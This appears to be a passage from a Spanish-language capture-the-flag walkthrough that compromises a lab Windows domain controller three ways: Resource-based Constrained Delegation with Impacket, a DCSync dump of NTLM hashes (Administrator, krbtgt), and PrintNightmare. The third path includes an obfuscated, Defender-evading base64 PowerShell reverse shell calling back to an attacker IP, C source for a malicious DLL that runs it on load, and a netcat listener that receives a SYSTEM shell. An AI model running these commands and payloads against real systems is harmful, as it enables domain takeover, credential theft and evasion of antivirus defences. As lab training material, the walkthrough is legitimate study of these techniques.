WINRM 192.168.56.116 5985 WIN-C73PROQLRHL [-] cons.thl\MSOL:YRax2Ry8g2ITQ3hpRPze
Funciona. Pero este usuario no tiene acceso a través de WinRM
.
Este nuevo usuario tiene permisos sobre casi todos los usuarios del dominio:
Camino 1: Ataque Resource-based Constrained Delegation
Link to heading
Este ataque consiste en agregar una máquina al dominio y solicitarle al Domain Controller
un ticket en el nombre de esta máquina luego de asignarle permisos.
Para ello podemos ver que el usuario MSOL
tiene permisos GenericWrite
sobre la cuenta de máquina:
Ya que esta condición se cumple, podemos performar un ataque Resource-based Constrained Delegation
(RBCD
).
Primero, revisamos si, como el usuario MSOL
, somos capaces de agregar máquinas al dominio:
❯ nxc ldap 192.168.56.116 -u 'MSOL' -p 'YRax2Ry8g2ITQ3hpRPze' -M maq
SMB 192.168.56.116 445 WIN-C73PROQLRHL [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False)
LDAP 192.168.56.116 389 WIN-C73PROQLRHL [+] cons.thl\MSOL:YRax2Ry8g2ITQ3hpRPze
MAQ 192.168.56.116 389 WIN-C73PROQLRHL [*] Getting the MachineAccountQuota
MAQ 192.168.56.116 389 WIN-C73PROQLRHL MachineAccountQuota: 10
Podemos agregar máquinas tal cual marca el parámetro MachineAccountQuota: 10
, el cual indica que podemos agregar hasta 10 máquinas en el dominio (el cual es el valor por defecto).
Para agregar una máquina al dominio usamos la herramienta addcomputer.py
de Impacket
para agregar una máquina controlada por nosotros (máquina que llamaremos GUNZF0X$
) con las credenciales del usuario MSOL
:
❯ impacket-addcomputer -computer-name 'GUNZF0X$' -computer-pass 'gunzf0x123$!' -dc-host cons.thl -domain-netbios cons.thl cons.thl/MSOL:'YRax2Ry8g2ITQ3hpRPze'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account GUNZF0X$ with password gunzf0x123$!.
Luego, podemos usar la herramienta rbcd.py
de Impacket
para delegar permisos a la máquina que hemos agregado:
❯ impacket-rbcd -delegate-from 'GUNZF0X$' -delegate-to 'WIN-C73PROQLRHL$' -dc-ip 192.168.56.116 -action 'write' 'cons.thl/MSOL':'YRax2Ry8g2ITQ3hpRPze'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] GUNZF0X$ can now impersonate users on WIN-C73PROQLRHL$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] GUNZF0X$ (S-1-5-21-2838722739-4169515792-1136184259-1526)
Finalmente, podemos solicitar un ticket con la herramienta getST.py
de Impacket
para el usuario Administrator
para el servicio cifs
(es decir, SMB
). Básicamente, aquí le estamos diciendo al dominio “Hola, soy una máquina del dominio. ¿Serías tan amable de darme un ticket para el usuario Administrador para uno de tus servicios? Gracias”. Para ello ejecutamos:
❯ impacket-getST -spn 'cifs/WIN-C73PROQLRHL.cons.thl' -impersonate 'Administrator' -dc-ip 192.168.56.116 'cons.thl/GUNZF0X$':'gunzf0x123$!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Obtenemos un error de reloj. Podemos emular una hora en el comando usando la herramienta faketime
para bypassear este problema:
❯ faketime "$(ntpdate -q 192.168.56.116 | cut -d ' ' -f 1,2)" impacket-getST -spn 'cifs/WIN-C73PROQLRHL.cons.thl' -impersonate 'Administrator' -dc-ip 192.168.56.116 'cons.thl/GUNZF0X$':'gunzf0x123$!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WIN-C73PROQLRHL.cons.thl@CONS.THL.ccache
Obtenemos un ticket. Podemos usar este con la herramienta wmiexec.py
y ganar así acceso a la máquian víctima. Aquí es mucho muy importante especificar WIN-C73PROQLRHL.cons.thl
o el ticket no será válido:
❯ KRB5CCNAME=Administrator@cifs_WIN-C73PROQLRHL.cons.thl@CONS.THL.ccache impacket-wmiexec -k -no-pass Administrator@WIN-C73PROQLRHL.cons.thl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] SMB SessionError: code: 0xc0000016 - STATUS_MORE_PROCESSING_REQUIRED - {Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.
Obtenemos un error de SMB
. Este error también se debe a un error de sincronización de relojes, por lo que podemos volver a arreglarlo usando faketime
:
❯ KRB5CCNAME=Administrator@cifs_WIN-C73PROQLRHL.cons.thl@CONS.THL.ccache faketime "$(ntpdate -q 192.168.56.116 | cut -d ' ' -f 1,2)" impacket-wmiexec -k -no-pass Administrator@WIN-C73PROQLRHL.cons.thl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
cons\administrator
Camino 2: Ataque DCSync
Link to heading
Llama mi atención que el usuario MSOL
tenga el privilegio GenericWrite
sobre tantos usuarios. Quizás, en mi caso, Bloodhound
estaba algo bugeado y podemos realizar un ataque DCSync
.
Para ver si podemos performar un ataque DCSync
podemos usar una herramietna como impacket-secretsdump
:
❯ impacket-secretsdump MSOL:'YRax2Ry8g2ITQ3hpRPze'@WIN-C73PROQLRHL.cons.thl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5d48bcf84aea999fb1ade06970a81237:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a6c4014f622dcadd4ec24cec540aaa86:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<SNIP>
Con este hash NTLM
para el usuario Administrator
podemos loguearnos en distintos servicios a través de un Pass The Hash
.
Camino 3: PrintNightmare
bypasseando Windows Defender
Link to heading
Podemos revisar si la máquina víctima es vulnerable a PrintNightmare
:
❯ impacket-rpcdump @192.168.56.116 | grep -E 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Dado que la máquina tiene protocolos MS-PAR
y MS-RPRN
habilitados esto indica que podría ser vulnerable.
Descargamos un script de Powershell
el cual ejecuta este exploit desde este repositorio de Github y subimos el archivo a la máquina víctima. Como sea, al intentar de importar este módulo en Powershell
vemos que Windows Defender
nos bloquea:
*Evil-WinRM* PS C:\Users\sqlsvc\Documents> Import-Module .\CVE-2021-34527.ps1
At C:\Users\sqlsvc\Documents\CVE-2021-34527.ps1:1 char:1
+ function Invoke-Nightmare
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At C:\Users\sqlsvc\Documents\CVE-2021-34527.ps1:1 char:1
+ function Invoke-Nightmare
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
Algún tiempo atrás, para la máquina HackTheBox Mist, desarollé un simple script de Python
el cual crea un payload para una reverse shell en Powershell
ofuscado que bypassea Windows Defender
. Éste puede ser descargado desde mi repositorio de Github. Una vez clonado, usamos esta herramienta:
❯ python3 BypassAMSI_PSRevshell.py revshell -i 192.168.56.2 -p 443
______ _______ _______ ______ _
(____ \ (_______|_______)/ _____) |
____) )_ _ ____ _____ ___ ___ _______ _ _ _( (____ | |
| __ (| | | | _ \(____ |/___)/___) | ___ | ||_|| |\____ \| |
| |__) ) |_| | |_| / ___ |___ |___ | | | | | | | |_____) ) |
|______/ \__ | __/\_____(___/(___/ |_| |_|_| |_(______/|_|
______ (____/|_| ______ _ _ _
(_____ \ / _____) (_____ \ | | | | |
_____) | (____ _____ _____) )_____ _ _ ___| |__ _____| | |
| ____/ \____ (_____) __ /| ___ | | | /___) _ \| ___ | | |
| | _____) ) | | \ \| ____|\ V /___ | | | | ____| | |
|_| (______/ |_| |_|_____) \_/(___/|_| |_|_____)\_)_)
by gunzf0x (https://github.com/gunzf0x/BypassAMSI_PSRevshell) 👻
[*] Payload successfully generated. Execute the following command in the target machine:
powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4ANQA2AC4AMgAnACwANAA0ADMAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==
(don't forget to start listener on port 443)
donde 192.168.56.2
es nuestra máquina de atacante y 443
el puerto en el cual nos pondremos en escucha con netcat
.
Creamos un archivos .dll
el cual ejecuta un simple comando system
(a nivel de sistema) y ejecuta el payload generado anteriormanete (si usamos un payload .dll
generado con msfvenom
, sucederá que Windows Defender
lo bloqueará porque me pasó). Tenemos un archivo .c
, el cual llamamos exp_dll.c
, con el contenido:
#include <windows.h>
#include <stdlib.h>
__declspec(dllexport) void execute_system_program() {
// Command to execute (e.g., launching cmd.exe)
system("powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwAxADkAMgAuADEANgA4AC4ANQA2AC4AMgAnACwANAA0ADMAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAIAAwACwAIAAkAGIALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGIAMgAgACAAPQAgACQAcwBiACAAKwAgACcAUABTACAAJwAgACsAIAAnAD4AIAAnADsAJABzAHkAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAYgAyACkAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHMAeQAsADAALAAkAHMAeQAuAEwAZQBuAGcAdABoACkAOwAkAHMALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMALgBDAGwAbwBzAGUAKAApAA==");
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// When the DLL is loaded, execute the system program
execute_system_program();
}
return TRUE;
}
Podríamos compilar este archivo en una máquina Windows
, pero también podemos hacerlo en una máquina Linux
usando mingw
(instalable ejecutando sudo apt install mingw-w64
) y construimos el archivo .dll
:
❯ x86_64-w64-mingw32-gcc -shared -o power.dll exp_dll.c
donde hemos guardado el archivo .dll
malicioso como power.dll
.
Luego, para abusar de PrintNightmare
externamente, podemos usar este repositorio de Github el cual contiene un script de Python
que solo utiliza Impacket
para performar el ataque. Primero necesitamos “exponer” el archivo malicioso .dll
a través de SMB
. Podemos realizar esto fácilmente usando smbserver.py
de Impacket
en un recurso compartido llamado smbFolder
:
❯ ls && impacket-smbserver smbFolder $(pwd) -smb2support
CVE-2021-34527.ps1 exp_dll.c power.dll
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Empezamos un listener con netcat
en el puerto 443
en otra terminal.
Luego, usamos printnightmare.py
para solicitar el archivo malicioso .dll
al recurso compartido. Podemos usar cualquier credencial para ejecutar este ataque; en este caso utilizaremos las credenciales del usuario Appolonia
:
❯ python3 printnightmare.py -dll '\\192.168.56.2\smbFolder\power.dll' 'Appolonia':'5umm3r@'@192.168.56.116
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_7b3eed059f4c3e41\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\192.168.56.2\\smbFolder\\power.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
<SNIP>
Obtenemos una solicitud en nuestro recurso compartido SMB
y, luego de ello, una conexión en nuestro listener con netcat
como el usuario nt authority\system
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.56.2] from (UNKNOWN) [192.168.56.116] 53272
whoami
nt authority\system
PS >
GG. Podemos leer la flag de root
en el directorio C:\Users\Administrator\Documents
.
~Happy Hacking.